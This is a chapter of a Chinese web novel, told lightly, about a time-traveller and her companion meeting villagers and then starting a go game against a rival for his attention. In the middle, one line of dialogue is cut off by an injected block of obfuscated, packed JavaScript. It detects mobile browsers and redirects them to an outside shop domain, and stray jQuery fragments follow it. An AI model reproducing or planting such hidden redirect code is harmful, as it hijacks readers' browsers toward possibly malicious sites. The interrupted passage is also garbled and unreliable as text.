明凌、云开两人继续走着。
前面是一片开阔的草坡,水牛慢悠悠吃草。
一个四十岁左右的大汉拿着一根粪叉,把牛粪放进粪筐里。
一阵窸窣响动,变故陡生,一条蛇蹿了出来,冲着大汉侧后方而去。
大汉反应很快,身子猛得一拧,粪叉带出一道弧线打中蛇身。
“今晚加餐。”大汉看着蛇,嘀咕了一句。
“岳叔。”云开道。
“啊,还霁来了啊。咦?这姑娘是……你对象?”岳正大手一挥,招呼道,“今天你们一起来岳叔家吃蛇呀!”
“是我表妹,来村里探望我,”云开介绍道,“这是岳叔。”
明凌:“岳叔好,我是翠花。岳叔身手好厉害,一下子就打中了蛇。”赞美是人际交往的润滑剂!再试一次!
岳正笑着说:“这招‘捡粪转身棍’,我练了好多年了。”
明凌忍不住重复:“捡、粪、转、身、棍……吗?”
云开解释道:“这招叫‘回眸探柳’,讲究‘身未动,意先至‘,利用腰胯旋转的力量,带动兵器,回身即杀。”
“是嘞是嘞,黎大夫说了,就是我干活捡牛粪的时候,听到身后有动静,第一反应就是回头看,是不是有坏人要来抢我的牛粪?黎大夫说这一招的诀窍是回头的时候,手上的家伙顺势送出去!”
坏、人、抢、牛、粪。
明凌默默想:嗯……在古代,牛粪可以做肥料、燃料,确实是重要资源。
云开顿了一下,道:“师父这么说,是为了方便村里人理解……”
三人又聊了片刻,随后,明凌、云开便向岳正告辞,并婉拒了岳叔关于吃蛇的盛情邀请。
一路上,总有热情淳朴的村里人主动打招呼,在云开的介绍下,明凌认识了许多桃芳村村民。他们或塞来一些新鲜的水果,或递一把家里种的蔬菜送云开,云开没有收,礼貌拒绝了。
二人散步至溪边。
有几户人家沿溪而建,院子里种着瓜果蔬菜。
有一个青年人站在齐膝深的水里,手里举着一把鱼叉,一动不动盯着水面。
几个呼吸间,他忽然动了,鱼叉快如闪电般刺入水中,手腕猛地一拧,像画了个圈,带动溪水快速旋转,漩涡缠住了一条鱼,而后一挑,一条鱼被甩上了岸,在鱼篓里扑腾。
青年人的目光随着鱼篓往上一抬,看见了云开和明凌,展开笑容:“还霁!!”他上了岸,走到二人面前,眼睛一亮,问道:“这位漂亮妹妹是……”
云开垂眸,像是在犹豫,最后还是介绍道:“是我的表妹,姓明。求索兄……注意言辞,不可唐突她。”
“叫我翠花就好。”明凌说。
青年人笑着看向明凌,露出一口白牙,语速极快道:“表妹你好呀,我姓路,名修远,字求索。二十九岁,单身,未婚,相貌佳,性格好,体格健壮,农活打猎不在话下,家里有亩薄田、一头牛,一间新翻修的房。不知表妹单身否?有婚约否?有没有找对象的打算?觉得我怎么样,要不然先当个朋友处处看,可以的话,下半年咱就成亲?”话如连珠炮发,噼里啪啦,像是把这番话背得滚瓜烂熟了,连气都顾不上换,快得生怕被人打断。
明凌:“……”瞬间明白刚刚云开为什么犹豫了一会儿才介绍了。
“求索兄,莫要唐突,”云开微微蹙眉制止,转而对着明凌温和解释道,“不必在意,他每次见人都是这般说辞。”
“这次求索兄是真的心动了!”路修远急了。
“这句话也是见人就说,”云开一顿,像是有些后悔带明凌路过此处,“还请表妹不要放在心上。”
明凌:“……好的。”
云开道:“我带你去别处走走吧。”
“别走别走,表妹,我给你抓条大鱼吃,你等等哈!”路修远又下水了,急着展现自己的英姿,“我这套‘缠鱼叉叉枪’练得可好了!你要仔细看我啊!”
“缠、鱼、叉、叉、枪……”明凌重复了一遍。
云开从容不迫解释道:“这招叫‘缠龙挑筋’,‘缠’时用腕力,‘挑’时用臂力。”
明凌:“‘缠龙挑筋’也是立命剑法里的?”
云开道:“嗯,剑式化用为枪式。”
明凌:“‘修远求索’,名字也是你师父取的?”
云开颔首,回答:“是。”
一条鱼飞上了岸。
路修远也上了岸,热情洋溢道:“这条大,表妹你拿回去吃。”
-
明凌穿越的第三天。晨光熹微。
后檐廊。
这里放着一张条案,案上放着吃食。
明凌与云开隔桌相对而坐,安静地吃着早饭。
突然下雨了。
雨水滴落在瓦顶,滚动着,汇聚成水线顺着屋檐而下。
雨丝织就一张轻薄的纱,被风吹拂,斜斜笼罩了下来。
空气清凉湿润。
云开解开束着竹帘的麻绳,那卷起的竹帘被放下一半,高度及腰,挡住了随风斜扫进来的雨丝;下半截视野依然通透,能看见后院葱茏的绿意。
只放下一半的竹帘,既挡住了飘进来的细雨,又不觉得憋闷。
一只小炉煨在桌脚旁,炉上坐着壶,壶嘴冒出袅袅白气。
云开执壶为两人续杯,“陈皮理气,姜益脾胃,红茶温中,最宜晨起祛湿醒神。配这糕点同食正好。”
明凌咬了一口清香的糕点,再饮半杯暖茶,能感受到肺腑一片暖意。
耳边听到雨滴溅落石阶的碎响,转头,眼前是被半幅竹帘框出的后院雨景,半遮半掩,反倒更添几分意趣。
-
吃完早餐后。
云开在制药间处理草药,明凌又跑藏书室了。
明凌看了几小时书,估计云开制药应该结束了。
昨天答应了陪他下棋,想到这可是她的第一桶金,便放下书,跑去诊堂。
诊堂侧墙的门联通隔壁的制药间,她不走进制药间,只将上半身通过门探入制药间,问:“还霁,你忙好了吗?要下棋吗?”
“嗯,马上就好了,”云开将最后一点药渣清扫干净,“明姑娘先将棋具备好吧,我先去洗净手,随后就来。”
明凌应了一声,将棋盘摆在诊堂窗边的小方桌上,棋盘纹理清晰,纵横各十九道墨线,三百六十一个交叉点;又捧出两个圆罐放在棋盘边,取下盖子,一罐白子,一罐黑子,棋子入手微凉,质地细腻。
雨幕之中,一人手持一柄素雅的油纸伞走进药庐前院。
伞下之人是新搬入桃芳村的杨婉然。她莲步轻移,一手微微提起裙子防止雨水浸湿。走到诊堂门口收伞,露出一张精心打扮过的脸庞,将伞倚靠在门外的柱子旁,娴雅地步入诊堂。
“云公子……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838877|211574||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”她微微福身,每个细节都力求展现自己知书达礼、仪态万方的形象。
杨婉然直起身子,微笑着抬起脸,没看到想见的云开。她一眼看见了明凌,笑容僵了一下,问道:“你是谁?”
“她是我表妹,”云开洗净手,正迈步走来,“杨姑娘有什么事?”
杨婉然微笑着,说:“云公子安好,表妹安好,叨扰二位了。婉然昨日遗落了丝帕,绣着并蒂莲。这是我最喜欢的一条丝帕了,心情失落万分,不知云公子有没有见过我的丝帕?”
她说到“失落万分”时,十分楚楚可怜,抬眼看着云开。
“没见过。”云开说。
明凌:?
好哇!云开!原来你还会撒谎!
落花有意,流水无情?
明凌咬唇止住笑意,一脸正经地继续看热闹。
杨婉然似乎是不相信,目光在地面逡巡。她瞥见方桌上的棋盘、棋子,眼中迸发出惊喜,话锋一转,说:“小女子不才,也沉迷棋道,今日得见棋友,实乃幸事,可否讨教几局?”她语气充满仰慕,热切看向云开。
云开说:“此刻有琐事需处理,不便对弈。”
“有什么琐事?翠花帮表哥处理,”明凌看热闹不嫌事大,笑眯眯使坏,“可别扫了婉然姑娘的雅兴呀!”
云开转身,背对杨婉然,面向明凌。
他没有说话,但望向明凌的眼中隐隐有求饶之色。
明凌:啊……不看热闹了,还是帮帮他吧。
明凌来精神了,主动请缨,说:“我来和婉然姑娘下棋吧!”
“怎么好劳烦表妹,”杨婉然勉强笑了一下,显然没料到明凌要与她下棋,“婉然还是想向云公子……”
“婉然姑娘,你叫我翠花就好了,”明凌极力邀请,模仿杨婉然刚刚的话,“我也和婉然姑娘一样,沉迷棋道,今日得见弈中同好,实乃幸事,讨教几局,讨教几局!”
杨婉然没办法,只能入座,坐到明凌对面。
明凌伸手,刚要抓棋子猜先,突然想起,现代围棋自然是黑子先下、白子后下的,但她知道在更早的时期,古代围棋的主流规则是白子先下、黑子后下。大约在明末清初,规则才逐渐向“黑先白后”过渡,不知道这个世界是怎样的规则?
所以明凌问了一句:“黑子先下还是白子先下来着?”
“……”
沉默。
一片沉默。
唯有沉默。
云开望着明凌,隐有笑意,道:“白子先下。”
杨婉然看了一眼云开,似有不甘,对明凌说:“你连黑子先下还是白子先下都不知道,还来和我下棋吗?不如我再等一会儿,等云公子处理好琐事。”
明凌抬手示意云开:快去忙吧。
云开心领神会。
他本是进了隔壁的制药间,脚步一顿,转身又走出来。他走到诊案旁坐下,拿起毛笔写字,他现在这个角度能看到棋盘、明凌的侧正面、杨婉然的侧背面。
杨婉然坚持,说:“还是劳烦云公子和我下棋吧!”
“我表哥忙,你先和我杀一盘呗,你赢了我,你再和表哥下棋嘛。”明凌率先抓了几颗棋子,握在手心,道:“来来来,猜先吧。”
杨婉然不情不愿也抓了几颗。
两人撒下棋子在棋盘上,数了一下双方各自的棋子数量。
——杨婉然先下。